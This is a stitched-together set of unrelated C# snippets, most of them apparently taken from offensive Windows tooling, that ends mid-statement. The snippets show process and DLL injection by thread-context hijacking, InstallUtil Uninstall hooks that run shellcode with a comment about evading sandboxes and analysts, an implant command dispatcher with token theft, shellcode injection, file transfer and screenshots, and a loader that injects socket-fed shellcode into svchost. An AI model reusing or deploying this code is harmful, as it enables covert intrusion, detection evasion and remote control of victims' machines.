private void InitialiseDetour(MethodInfo originalFunctionInfo, MethodInfo targetFunctionInfo) { // Ensure the operating system is valid ValidateOperatingSystem.Validate(); // Ensure the functions are JIT compiled RuntimeHelpers.PrepareMethod(originalFunctionInfo.MethodHandle); RuntimeHelpers.PrepareMethod(targetFunctionInfo.MethodHandle); // Get a pointer to the original function _originalFunctionAddress = originalFunctionInfo.MethodHandle.GetFunctionPointer(); // Get a pointer to the target function var targetFunctionAddress = targetFunctionInfo.MethodHandle.GetFunctionPointer(); // Create shellcode to perform a function detour var shellcode = Environment.Is64BitProcess ? Shellcode.JumpToFunctionX64(targetFunctionAddress) : Shellcode.JumpToFunctionX86(targetFunctionAddress); // Save the bytes of the original function _originalBytes = new byte[shellcode.Length]; Marshal.Copy(_originalFunctionAddress, _originalBytes, 0, shellcode.Length); // Save the bytes used to detour the original function to the target function _detourBytes = shellcode; }
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. public override void Uninstall(System.Collections.IDictionary savedState) { Console.WriteLine("Hello There From Uninstall"); uint a = Shellcode.Hunt(); if (a > 0) { Console.WriteLine("Found Space\n"); Shellcode.Exec(a); } else { Console.WriteLine("Created Space"); Shellcode.Exec(); } }
private static bool SetThreadContextx64(IntPtr threadHandle, IntPtr processHandle, IntPtr dllMemoryPointer, IntPtr loadLibraryPointer, IntPtr shellcodeMemoryPointer, int shellcodeSize) { // Get the threads context var context = new Context64 { ContextFlags = Flags.ContextControl }; if (!GetThreadContext(threadHandle, ref context)) { return(false); } // Save the instruction pointer var instructionPointer = context.Rip; // Change the instruction pointer to the shellcode pointer context.Rip = (ulong)shellcodeMemoryPointer; // Write the shellcode into memory var shellcode = Shellcode.CallLoadLibraryx64(instructionPointer, dllMemoryPointer, loadLibraryPointer); if (!WriteProcessMemory(processHandle, shellcodeMemoryPointer, shellcode, (uint)shellcodeSize, 0)) { return(false); } // Set the threads context if (!SetThreadContext(threadHandle, ref context)) { return(false); } return(true); }
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. public override void Uninstall(System.Collections.IDictionary savedState) { Console.WriteLine("Hello There From Uninstall"); Shellcode.Exec(); }
public static void Main() { Console.WriteLine("Hello From Main...I Don't Do Anything"); //Add any behaviour here to throw off sandbox execution/analysts :) Shellcode.Exec(); }
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. public override void Uninstall(System.Collections.IDictionary savedState) { Shellcode.Exec(); }
private void CallEntryPoint(IntPtr baseAddress, IntPtr entryPoint) { // Initialize shellcode to call the entry of the dll in the remote process var shellcodeBytes = _properties.IsWow64 ? Shellcode.CallDllMainx86(baseAddress, entryPoint) : Shellcode.CallDllMainx64(baseAddress, entryPoint); // Allocate memory for the shellcode in the remote process var shellcodeAddress = IntPtr.Zero; try { shellcodeAddress = _properties.MemoryModule.AllocateMemory(_properties.ProcessId, shellcodeBytes.Length); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to allocate memory for the shellcode in the remote process"); } // Write the shellcode into the memory of the remote process try { _properties.MemoryModule.WriteMemory(_properties.ProcessId, shellcodeAddress, shellcodeBytes); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to write the shellcode into the memory of the remote process"); } // Create a remote thread to call the entry point in the remote process Native.NtCreateThreadEx(out var remoteThreadHandle, Native.AccessMask.SpecificRightsAll | Native.AccessMask.StandardRightsAll, IntPtr.Zero, _properties.ProcessHandle, shellcodeAddress, IntPtr.Zero, Native.CreationFlags.HideFromDebugger, 0, 0, 0, IntPtr.Zero); if (remoteThreadHandle is null) { ExceptionHandler.ThrowWin32Exception("Failed to create a remote thread to call the entry point in the remote process"); } // Wait for the remote thread to finish its task Native.WaitForSingleObject(remoteThreadHandle, int.MaxValue); // Free the memory previously allocated for the shellcode in the remote process try { _properties.MemoryModule.FreeMemory(_properties.ProcessId, shellcodeAddress); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to free the memory allocated for the shellcode in the remote process"); } // Close the handle opened to the remote thread remoteThreadHandle?.Close(); }
private void CallEntryPoint(IntPtr baseAddress, IntPtr entryPoint) { // Get the id of the process var processId = _process.Id; // Open a handle to the process var processHandle = _process.SafeHandle; // Determine if the process is running under WOW64 Native.IsWow64Process(processHandle, out var isWow64); // Create shellcode to call the entry of the dll in the process var shellcodeBytes = isWow64 ? Shellcode.CallDllMainx86(baseAddress, entryPoint) : Shellcode.CallDllMainx64(baseAddress, entryPoint); // Allocate memory for the shellcode in the process var shellcodeSize = shellcodeBytes.Length; var shellcodeAddress = IntPtr.Zero; try { shellcodeAddress = _memoryModule.AllocateMemory(processId, shellcodeSize); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to allocate memory for the shellcode in the process"); } // Write the shellcode into the memory of the process try { _memoryModule.WriteMemory(processId, shellcodeAddress, shellcodeBytes); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to write the shellcode into the memory of the process"); } // Create a remote thread to call the entry point in the process Native.RtlCreateUserThread(processHandle, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, shellcodeAddress, IntPtr.Zero, out var remoteThreadHandle, 0); if (remoteThreadHandle is null) { ExceptionHandler.ThrowWin32Exception("Failed to create a remote thread to call the entry point in the process"); } // Wait for the remote thread to finish its task Native.WaitForSingleObject(remoteThreadHandle, int.MaxValue); // Free the memory previously allocated for the shellcode try { _memoryModule.FreeMemory(processId, shellcodeAddress); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to free the memory allocated for the shellcode in the process"); } // Close the handle opened to the process processHandle?.Close(); // Close the handle opened to the remote thread remoteThreadHandle?.Close(); }
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. public override void Uninstall(System.Collections.IDictionary savedState) { Shellcode.Exec(Context.Parameters["server"]); }
/// <summary> /// Handle a new task. /// </summary> /// <param name="implant">The CaramelImplant we're handling a task for</param> public void DispatchTask(SCImplant implant) { if (this.command == "cd") { Debug.WriteLine("[-] DispatchTask - Tasked to change directory " + this.@params); ChangeDir.Execute(this); } else if (this.command == "download") { Debug.WriteLine("[-] DispatchTask - Tasked to send file " + this.@params); Download.Execute(this, implant); } else if (this.command == "execute_assembly") { Debug.WriteLine("[-] DispatchTask - Tasked to execute assembly " + this.@params); Tasks.ExecAssembly.Execute(this, implant); } else if (this.command == "exit") { Debug.WriteLine("[-] DispatchTask - Tasked to exit"); Exit.Execute(this, implant); } else if (this.command == "jobs") { Debug.WriteLine("[-] DispatchTask - Tasked to list jobs"); Jobs.Execute(this, implant); } else if (this.command == "jobkill") { Debug.WriteLine($"[-] DispatchTask - Tasked to kill job {this.@params}"); Jobs.Execute(this, implant); } else if (this.command == "kill") { Debug.WriteLine("[-] DispatchTask - Tasked to kill PID " + this.@params); Kill.Execute(this); } else if (this.command == "ls") { string path = this.@params; Debug.WriteLine("[-] DispatchTask - Tasked to list directory " + path); DirectoryList.Execute(this, implant); } else if (this.command == "make_token") { Debug.WriteLine("[-] DispatchTask - Tasked to make a token for " + [email protected](' ')[0]); Token.Execute(this); } else if (this.command == "ps") { Debug.WriteLine("[-] DispatchTask - Tasked to list processes"); ProcessList.Execute(this); } else if (this.command == "powershell") { Debug.WriteLine("[-] DispatchTask - Tasked to run powershell"); Powershell.Execute(this); } else if (this.command == "rev2self") { Debug.WriteLine("[-] DispatchTask - Tasked to revert token"); Token.Revert(this); } else if (this.command == "run") { Debug.WriteLine("[-] DispatchTask - Tasked to start process"); Proc.Execute(this, implant); } else if (this.command == "screencapture") { Debug.WriteLine("[-] DispatchTask - Tasked to take screenshot."); ScreenCapture.Execute(this, implant); } else if (this.command == "shell") { Debug.WriteLine("[-] DispatchTask - Tasked to run shell command."); Proc.Execute(this, implant); } else if (this.command == "shinject") { Debug.WriteLine("[-] DispatchTask - Tasked to run shellcode."); Shellcode.Execute(this); } else if (this.command == "sleep") { try { int sleep = Convert.ToInt32(this.@params); Debug.WriteLine("[-] DispatchTask - Tasked to change sleep to: " + sleep); implant.sleep = sleep * 1000; this.status = "complete"; } catch { Debug.WriteLine("[-] DispatchTask - ERROR sleep value provided was not int"); this.status = "error"; this.message = "Please provide an integer value"; } } else if (this.command == "spawn") { Debug.WriteLine("[-] DispatchTask - Tasked to spawn"); Spawn.Execute(this); } else if (this.command == "steal_token") { Debug.WriteLine("[-] DispatchTask - Tasked to steal token"); Token.Execute(this); } else if (this.command == "upload") { Debug.WriteLine("[-] DispatchTask - Tasked to get file from server"); Upload.Execute(this, implant); } this.SendResult(implant); }
internal bool Inject() { // Get the address of the LoadLibraryW method from kernel32.dll var loadLibraryAddress = Tools.GetRemoteProcAddress(_properties, "kernel32.dll", "LoadLibraryW"); if (loadLibraryAddress == IntPtr.Zero) { ExceptionHandler.ThrowWin32Exception("Failed to find the address of the LoadLibraryW method in kernel32.dll"); } // Allocate memory for the dll path in the process var dllPathAddress = IntPtr.Zero; try { dllPathAddress = _properties.MemoryModule.AllocateMemory(_properties.ProcessId, _properties.DllPath.Length); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to allocate memory for the dll path in the process"); } // Write the dll path into the process var dllPathBytes = Encoding.Unicode.GetBytes(_properties.DllPath + "\0"); try { _properties.MemoryModule.WriteMemory(_properties.ProcessId, dllPathAddress, dllPathBytes); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to write the dll path into the memory of the process"); } // Allocate memory for the shellcode in the process var shellcodeSize = _properties.IsWow64 ? 22 : 87; var shellcodeAddress = IntPtr.Zero; try { shellcodeAddress = _properties.MemoryModule.AllocateMemory(_properties.ProcessId, shellcodeSize); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to allocate memory for the shellcode in the process"); } // Open a handle to the first thread of the process var threadHandle = Native.OpenThread(Native.ThreadAccess.AllAccess, false, _firstThreadId); if (threadHandle is null) { ExceptionHandler.ThrowWin32Exception("Failed to open a handle to a thread in the process"); } // Suspend the thread if (Native.SuspendThread(threadHandle) == -1) { ExceptionHandler.ThrowWin32Exception("Failed to suspend a thread in the process"); } // If the process is x86 if (_properties.IsWow64) { var threadContext = new Native.Wow64Context { Flags = Native.ContextFlags.ContextControl }; // Store the thread context structure in a buffer var threadContextBuffer = Tools.StructureToPointer(threadContext); // Get the context of the thread and save it in the buffer if (!Native.Wow64GetThreadContext(threadHandle, threadContextBuffer)) { ExceptionHandler.ThrowWin32Exception("Failed to get the context of a thread in the process"); } // Read the new thread context structure from the buffer threadContext = Tools.PointerToStructure <Native.Wow64Context>(threadContextBuffer); // Save the instruction pointer var instructionPointer = threadContext.Eip; // Write the shellcode into the memory of the process var shellcodeBytes = Shellcode.CallLoadLibraryx86((IntPtr)instructionPointer, dllPathAddress, loadLibraryAddress); try { _properties.MemoryModule.WriteMemory(_properties.ProcessId, shellcodeAddress, shellcodeBytes); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to write the shellcode into the memory of the process"); } // Change the instruction pointer to the shellcode address threadContext.Eip = (uint)shellcodeAddress; // Store the thread context structure in a buffer threadContextBuffer = Tools.StructureToPointer(threadContext); // Set the context of the thread with the new context if (!Native.Wow64SetThreadContext(threadHandle, threadContextBuffer)) { ExceptionHandler.ThrowWin32Exception("Failed to set the context of a thread in the process"); } } // If the process is x64 else { var threadContext = new Native.Context { Flags = Native.ContextFlags.ContextControl }; // Store the thread context structure in a buffer var threadContextBuffer = Tools.StructureToPointer(threadContext); // Get the context of the thread and save it in the buffer if (!Native.GetThreadContext(threadHandle, threadContextBuffer)) { ExceptionHandler.ThrowWin32Exception("Failed to get the context of a thread in the process"); } // Read the new thread context structure from the buffer threadContext = Tools.PointerToStructure <Native.Context>(threadContextBuffer); // Save the instruction pointer var instructionPointer = threadContext.Rip; // Write the shellcode into the memory of the process var shellcodeBytes = Shellcode.CallLoadLibraryx64((IntPtr)instructionPointer, dllPathAddress, loadLibraryAddress); try { _properties.MemoryModule.WriteMemory(_properties.ProcessId, shellcodeAddress, shellcodeBytes); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to write the shellcode into the memory of the process"); } // Change the instruction pointer to the shellcode address threadContext.Rip = (ulong)shellcodeAddress; // Store the thread context structure in a buffer threadContextBuffer = Tools.StructureToPointer(threadContext); // Set the context of the thread with the new context if (!Native.SetThreadContext(threadHandle, threadContextBuffer)) { ExceptionHandler.ThrowWin32Exception("Failed to set the context of a thread in the process"); } } // Resume the suspended thread if (Native.ResumeThread(threadHandle) == -1) { ExceptionHandler.ThrowWin32Exception("Failed to resume a thread in the process"); } // Switch to the process to load the dll Native.SwitchToThisWindow(_mainWindowHandle, true); // Buffer the execution by 10 milliseconds to avoid freeing memory before it has been referenced Thread.Sleep(10); // Free the memory previously allocated for the dll path try { _properties.MemoryModule.FreeMemory(_properties.ProcessId, dllPathAddress); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to free the memory allocated for the dll path in the process"); } // Free the memory previously allocated for the shellcode try { _properties.MemoryModule.FreeMemory(_properties.ProcessId, shellcodeAddress); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to free the memory allocated for the shellcode in the process"); } threadHandle?.Close(); return(true); }
internal bool Inject(Process process, string dllPath) { // Ensure the process has kernel32.dll loaded if (Native.LoadLibrary("kernel32.dll") is null) { ExceptionHandler.ThrowWin32Exception("Failed to load kernel32.dll into the process"); } // Get the id of the process var processId = process.Id; // Get the address of the LoadLibraryW method from kernel32.dll var loadLibraryAddress = Native.GetProcAddress(Native.GetModuleHandle("kernel32.dll"), "LoadLibraryW"); if (loadLibraryAddress == IntPtr.Zero) { ExceptionHandler.ThrowWin32Exception("Failed to find the address of the LoadLibraryW method in kernel32.dll"); } // Allocate memory for the dll path in the process var dllPathSize = dllPath.Length; var dllPathAddress = IntPtr.Zero; try { dllPathAddress = _memoryModule.AllocateMemory(processId, dllPathSize); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to allocate memory for the dll path in the process"); } // Write the dll path into the process var dllPathBytes = Encoding.Unicode.GetBytes(dllPath + "\0"); try { _memoryModule.WriteMemory(processId, dllPathAddress, dllPathBytes); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to write the dll path into the memory of the process"); } // Open a handle to the process var processHandle = process.SafeHandle; // Determine if the process is running under WOW64 Native.IsWow64Process(processHandle, out var isWow64); // Allocate memory for the shellcode in the process var shellcodeSize = isWow64 ? 22 : 87; var shellcodeAddress = IntPtr.Zero; try { shellcodeAddress = _memoryModule.AllocateMemory(processId, shellcodeSize); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to allocate memory for the shellcode in the process"); } // Get the id of the first thread in the process var threadId = process.Threads[0].Id; // Open a handle to the thread var threadHandle = Native.OpenThread(Native.ThreadAccess.AllAccess, false, threadId); if (threadHandle is null) { ExceptionHandler.ThrowWin32Exception("Failed to open a handle to the first thread in the process"); } // Suspend the thread if (Native.SuspendThread(threadHandle) == -1) { ExceptionHandler.ThrowWin32Exception("Failed to suspend the first thread in the process"); } // If the process is x86 if (isWow64) { var threadContext = new Native.Context { Flags = Native.ContextFlags.ContextControl }; // Store the thread context structure in a buffer var threadContextBuffer = Tools.StructureToPointer(threadContext); // Get the context of the thread and save it in the buffer if (!Native.GetThreadContext(threadHandle, threadContextBuffer)) { ExceptionHandler.ThrowWin32Exception("Failed to get the context of the first thread in the process"); } // Read the new thread context structure from the buffer threadContext = Tools.PointerToStructure <Native.Context>(threadContextBuffer); // Save the instruction pointer var instructionPointer = threadContext.Eip; // Write the shellcode into the memory of the process var shellcodeBytes = Shellcode.CallLoadLibraryx86(instructionPointer, dllPathAddress, loadLibraryAddress); try { _memoryModule.WriteMemory(processId, shellcodeAddress, shellcodeBytes); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to write the shellcode into the memory of the process"); } // Change the instruction pointer to the shellcode address threadContext.Eip = shellcodeAddress; // Store the thread context structure in a buffer threadContextBuffer = Tools.StructureToPointer(threadContext); // Set the context of the thread with the new context if (!Native.SetThreadContext(threadHandle, threadContextBuffer)) { ExceptionHandler.ThrowWin32Exception("Failed to set the context of the first thread in the process"); } } // If the process is x64 else { var threadContext = new Native.Context64 { Flags = Native.ContextFlags.ContextControl }; // Store the thread context structure in a buffer var threadContextBuffer = Tools.StructureToPointer(threadContext); // Get the context of the thread and save it in the buffer if (!Native.GetThreadContext(threadHandle, threadContextBuffer)) { ExceptionHandler.ThrowWin32Exception("Failed to get the context of the first thread in the process"); } // Read the new thread context structure from the buffer threadContext = Tools.PointerToStructure <Native.Context64>(threadContextBuffer); // Save the instruction pointer var instructionPointer = threadContext.Rip; // Write the shellcode into the memory of the process var shellcodeBytes = Shellcode.CallLoadLibraryx64(instructionPointer, dllPathAddress, loadLibraryAddress); try { _memoryModule.WriteMemory(processId, shellcodeAddress, shellcodeBytes); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to write the shellcode into the memory of the process"); } // Change the instruction pointer to the shellcode address threadContext.Rip = shellcodeAddress; // Store the thread context structure in a buffer threadContextBuffer = Tools.StructureToPointer(threadContext); // Set the context of the thread with the new context if (!Native.SetThreadContext(threadHandle, threadContextBuffer)) { ExceptionHandler.ThrowWin32Exception("Failed to set the context of the first thread in the process"); } } // Resume the suspended thread if (Native.ResumeThread(threadHandle) == -1) { ExceptionHandler.ThrowWin32Exception("Failed to resume the first thread in the process"); } // Open a handle to the main window of the process var windowHandle = new SafeWindowHandle(process.MainWindowHandle); // Switch to the process to load the dll Native.SwitchToThisWindow(windowHandle, true); // Buffer the execution by 10 milliseconds to avoid freeing memory before it has been referenced Tools.AsyncWait(10); // Free the memory previously allocated for the dll path try { _memoryModule.FreeMemory(processId, dllPathAddress); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to free the memory allocated for the dll path in the process"); } // Free the memory previously allocated for the shellcode try { _memoryModule.FreeMemory(processId, shellcodeAddress); } catch (Win32Exception) { ExceptionHandler.ThrowWin32Exception("Failed to free the memory allocated for the shellcode in the process"); } // Close the handle opened to the process processHandle?.Close(); // Close the handle opened to the thread threadHandle?.Close(); return(true); }
static void Main(string[] args) { bool success; bool isX64 = Environment.Is64BitOperatingSystem; if (!isX64) { Console.WriteLine("32-bit operating systems are not supported yet"); return; } if (isX64 && IntPtr.Size != 8) { Console.WriteLine("Please run in x64 mode"); return; } const uint TOKEN_ADJUST_PRIVILEGES = 0x0020; IntPtr tokenHandle; success = OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES, out tokenHandle); if (!success) { Console.WriteLine("OpenProcessToken() failed - " + Marshal.GetLastWin32Error()); return; } success = SetPrivilege(tokenHandle, "SeDebugPrivilege", true); CloseHandle(tokenHandle); if (!success) { Console.WriteLine("SetPrivilege() failed - " + Marshal.GetLastWin32Error()); return; } const int bufferlen = 4096; UIntPtr buflen = new UIntPtr(bufferlen); int err; ushort wsaVersion = 0x0202; WSAData wsaData; err = WSAStartup(wsaVersion, out wsaData); if (err != 0) { Console.WriteLine("WSAStartup() failed - " + err); return; } IntPtr tcpSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (tcpSocket == SOCKET_ERROR) { Console.WriteLine("socket() failed - " + WSAGetLastError()); return; } #if !DEBUG || true int timeout = 10000; setsockopt(tcpSocket, SOL_SOCKET, SO_RCVTIMEO, ref timeout, sizeof(int)); setsockopt(tcpSocket, SOL_SOCKET, SO_SNDTIMEO, ref timeout, sizeof(int)); #endif string targetProcessName; string targetModuleName; if (args.Length > 1) { targetProcessName = args[1]; if (args.Length > 2) { targetModuleName = args[2].ToLower(); } else { targetModuleName = "ws2_32.dll";//null; } } else { targetProcessName = "svchost"; targetModuleName = "pcasvc.dll"; } uint ipAddress; do { if (args.Length > 0) { IPAddress ipAddr; if (IPAddress.TryParse(args[0], out ipAddr)) { byte[] ipBytes = ipAddr.GetAddressBytes(); if (ipBytes.Length == 4) { ipAddress = BitConverter.ToUInt32(ipBytes, 0); break; } } } ipAddress = 0x100007F; //BitConverter.ToUInt32(new byte[] { 127,0,0,1 }, 0) } while (false); sockaddr_in connectionData = new sockaddr_in(); connectionData.sin_family = AF_INET; connectionData.sin_addr = ipAddress; connectionData.sin_port = BitConverter.ToUInt16(new byte[] { 0xD1, 0xCC }, 0); err = connect(tcpSocket, ref connectionData, Marshal.SizeOf(connectionData)); if (err != 0) { Console.WriteLine("connect() failed - " + WSAGetLastError()); //closesocket(udpSocket); //WSACleanup(); return; } uint targetProcessId = 0; #if DEBUG && false targetProcessId = (uint)Process.GetProcessesByName("putty")[0].Id; #else //if (targetModuleName != null) //{ Process[] svchosts = Process.GetProcessesByName(targetProcessName); if (svchosts.Length == 0) { Console.WriteLine("No processes found"); return; } foreach (Process process in svchosts) { bool found = false; try { foreach (ProcessModule module in process.Modules) { if (module.ModuleName.ToLower() == /*"pcasvc.dll"*/ targetModuleName) { targetProcessId = (uint)process.Id; found = true; break; } } } catch { continue; } if (found) { break; } } //} //else //{ // Process[] processes = Process.GetProcessesByName(targetProcessName); // if (processes.Length != 0) // targetProcessId = (uint)processes[0].Id; //} #endif if (targetProcessId == 0) { Console.WriteLine("No suitable process found"); return; } IntPtr processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, false, targetProcessId); if (processHandle == IntPtr.Zero) { Console.WriteLine("OpenProcess() failed - " + Marshal.GetLastWin32Error()); return; } //IntPtr memoryAddress = VirtualAllocEx(processHandle, IntPtr.Zero, buflen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //if (memoryAddress == IntPtr.Zero) //{ // Console.WriteLine("VirtualAllocEx() failed"); // return; //} //IntPtr threadHandle = CreateRemoteThread(processHandle, IntPtr.Zero, new UIntPtr(8192), IntPtr.Zero, IntPtr.Zero, CREATE_SUSPENDED, IntPtr.Zero); //if (threadHandle == IntPtr.Zero) //{ // Console.WriteLine("CreateRemoteThread() failed"); // return; //} IntPtr threadHandle; //NtCreateThreadExBuffer ntCreateThreadExBuffer = new NtCreateThreadExBuffer(); //IntPtr temp = Marshal.AllocHGlobal(8); //ntCreateThreadExBuffer.Size = (uint)Marshal.SizeOf(ntCreateThreadExBuffer); //ntCreateThreadExBuffer.Unknown1 = 0x10003; //ntCreateThreadExBuffer.Unknown2 = 8; //ntCreateThreadExBuffer.Unknown3 = temp + 4; //ntCreateThreadExBuffer.Unknown4 = 0; //ntCreateThreadExBuffer.Unknown5 = 0x10004; //ntCreateThreadExBuffer.Unknown6 = 4; //ntCreateThreadExBuffer.Unknown7 = temp; //ntCreateThreadExBuffer.Unknown8 = 0; int ntstatus = NtCreateThreadEx(out threadHandle, THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_QUERY_LIMITED_INFORMATION | THREAD_SUSPEND_RESUME, IntPtr.Zero, processHandle, IntPtr.Zero, IntPtr.Zero, true, 0, 8192, 0, /*ref ntCreateThreadExBuffer*/ IntPtr.Zero); if (ntstatus < 0) { Console.WriteLine("NtCreateThreadEx() failed - " + ntstatus); return; } THREAD_BASIC_INFORMATION threadInfo; ntstatus = NtQueryInformationThread(threadHandle, 0, out threadInfo, 8 + IntPtr.Size * 5, IntPtr.Zero); if (ntstatus < 0) { Console.WriteLine("NtQueryInformationThread() failed - " + ntstatus); return; } byte[] buffer = new byte[IntPtr.Size]; success = ReadProcessMemory(processHandle, threadInfo.TebBaseAdress + (IntPtr.Size * 1), buffer, IntPtr.Size, IntPtr.Zero); if (!success) { Console.WriteLine("ReadProcessMemory() failed - " + Marshal.GetLastWin32Error()); return; } IntPtr memoryAddress; if (isX64) { long stackBottom = BitConverter.ToInt64(buffer, 0); memoryAddress = new IntPtr(stackBottom - bufferlen); } else { int stackBottom = BitConverter.ToInt32(buffer, 0); memoryAddress = new IntPtr(stackBottom - bufferlen); } uint oldProtection; success = VirtualProtectEx(processHandle, memoryAddress, /*buflen*/ new UIntPtr(4096), PAGE_EXECUTE_READWRITE, out oldProtection); if (!success) { Console.WriteLine("VirtualProtectEx() failed - " + Marshal.GetLastWin32Error()); return; } WSAPROTOCOL_INFO socketData; err = WSADuplicateSocket(tcpSocket, targetProcessId, out socketData); if (err != 0) { Console.WriteLine("WSADuplicateSocket() failed - " + WSAGetLastError()); return; } IntPtr k32Handle = GetModuleHandle("kernel32.dll"); if (k32Handle == IntPtr.Zero) { Console.WriteLine("GetModuleHandle() failed - " + Marshal.GetLastWin32Error()); return; } int shellcodeBufferSize = bufferlen; IntPtr shellcodeBuffer = Marshal.AllocHGlobal(shellcodeBufferSize); IntPtr getProcAddress = GetProcAddress(k32Handle, "GetProcAddress"); IntPtr getModuleHandleA = GetProcAddress(k32Handle, "GetModuleHandleA"); IntPtr exitThread = GetProcAddress(k32Handle, "ExitThread"); //IntPtr setUnhandledExceptionFilter = GetProcAddress(k32Handle, "SetUnhandledExceptionFilter"); IntPtr addVectoredExceptionHandler = GetProcAddress(k32Handle, "AddVectoredExceptionHandler"); if (getProcAddress == IntPtr.Zero || getModuleHandleA == IntPtr.Zero || exitThread == IntPtr.Zero || addVectoredExceptionHandler == IntPtr.Zero) { Console.WriteLine("GetProcAddress() failed - " + Marshal.GetLastWin32Error()); return; } Shellcode shellcode; ShellcodeType shellcodeType; if (isX64) { FakeObject ws2A, wsasockA, sockData, recv; shellcodeType = ShellcodeType.Win64; shellcode = new Shellcode64(shellcodeBuffer, shellcodeBufferSize, memoryAddress) .DebugBreak() .SetEntryPoint() //.AlignStack() .FakePushBytes(32) #if !DEBUG || true /*.MovInt64RegisterC(exitThread) * .CallFar(setUnhandledExceptionFilter)*/ .MovInt64RegisterC(1) .MovInt64RegisterD(exitThread) .CallFar(addVectoredExceptionHandler) /*.PushInt64(exitThread) * .PushInt64(0) * .MovRegisterSPtoGSOffset(0)*/ #endif .NewFakeObject(Shellcode.AsciiCString("ws2_32"), out ws2A) .MovFakePointerRegisterC(ws2A) //.FakePushBytes(32) .CallFar(getModuleHandleA) .FakePopBytes(32) .PushRegisterA() //+module .PushRegisterA() //+module .NewFakeObject(Shellcode.AsciiCString("WSASocketA"), out wsasockA) .MovFakePointerRegisterD(wsasockA) .MovRegisterAtoC() .FakePushBytes(32) .CallFar(getProcAddress) .FakePopBytes(32) .NewFakeObject(socketData, out sockData) .PushByte(0) .PushByte(0) .MovFakePointerRegister9(sockData) .MovInt64Register8(IPPROTO_TCP) .MovInt64RegisterD(SOCK_STREAM) .MovInt64RegisterC(AF_INET) .FakePushBytes(32) .CallRegisterA() .FakePopBytes(48) .PopRegisterC() //-module .PushRegisterA() //+socket .NewFakeObject(Shellcode.AsciiCString("recv"), out recv) .MovFakePointerRegisterD(recv) .FakePushBytes(32) .CallFar(getProcAddress) .FakePopBytes(32) .PopRegisterC() //-socket .PushRegisterA() //+recv .PushRegisterC() //+socket .MovInt64Register9(/*0*/ MSG_WAITALL) .MovInt64Register8(/*bufferlen*/ DefaultMsgSize) .MovInt64RegisterD(memoryAddress) .FakePushBytes(32 + 8) //+aligner .PushInt64(memoryAddress) .JmpRegisterA() .Complete(); } else { FakeObject ws2A, wsasockA, sockData, recvA; shellcodeType = ShellcodeType.Win32; shellcode = new Shellcode86(shellcodeBuffer, shellcodeBufferSize, memoryAddress) .DebugBreak() .SetEntryPoint() .NewFakeObject(Shellcode.AsciiCString("ws2_32"), out ws2A) .PushFakePointer(ws2A) //shellcode.CallFar(GetProcAddress(k32Handle, "LoadLibraryA")); //loaded by default .CallFar(getModuleHandleA) .PushRegisterA() //+handle .NewFakeObject(Shellcode.AsciiCString("WSASocketA"), out wsasockA) .PushFakePointer(wsasockA) .PushRegisterA() .CallFar(getProcAddress) .NewFakeObject(socketData, out sockData) .PushByte(0) .PushByte(0) .PushFakePointer(sockData) .PushByte((byte)IPPROTO_TCP) .PushByte((byte)SOCK_STREAM) .PushByte((byte)AF_INET) .CallRegisterA() .PopRegisterD() //-handle .PushByte(/*0*/ MSG_WAITALL) .PushInt(/*bufferlen*/ DefaultMsgSize) .PushInt(memoryAddress) .PushRegisterA() .PushInt(memoryAddress) //for later use .NewFakeObject(Shellcode.AsciiCString("recv"), out recvA) .PushFakePointer(recvA) .PushRegisterD() .CallFar(getProcAddress) .JmpRegisterA() .Complete(); } success = WriteProcessMemory(processHandle, new IntPtr(shellcode.RemoteAddress), shellcode.Buffer, shellcode.Size, IntPtr.Zero); if (success == false) { Console.WriteLine("WriteProcessMemory() failed - " + Marshal.GetLastWin32Error()); return; } //IntPtr threadHandle = CreateRemoteThread(processHandle, IntPtr.Zero, UIntPtr.Zero, new IntPtr(shellcode.EntryPoint), IntPtr.Zero, NULL, IntPtr.Zero); //if(threadHandle == IntPtr.Zero) //{ // Console.WriteLine("CreateRemoteThread() failed"); // err = Marshal.GetLastWin32Error(); // return; //} const string getThreadContextFailed = "GetThreadContext() failed - "; const string setThreadContextFailed = "SetThreadContext() failed - "; if (isX64) { CONTEXT64 threadContext = new CONTEXT64() { ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER }; success = GetThreadContext(threadHandle, ref threadContext); if (!success) { Console.WriteLine(getThreadContextFailed + Marshal.GetLastWin32Error()); return; } threadContext.Rsp = (ulong)shellcode.RemoteAddress; threadContext.Rip = (ulong)shellcode.EntryPoint; success = SetThreadContext(threadHandle, ref threadContext); if (!success) { Console.WriteLine(setThreadContextFailed + Marshal.GetLastWin32Error()); return; } } else { CONTEXT threadContext = new CONTEXT() { ContextFlags = CONTEXT_INTEGER }; success = GetThreadContext(threadHandle, ref threadContext); if (!success) { Console.WriteLine(getThreadContextFailed + Marshal.GetLastWin32Error()); return; } threadContext.Esp = 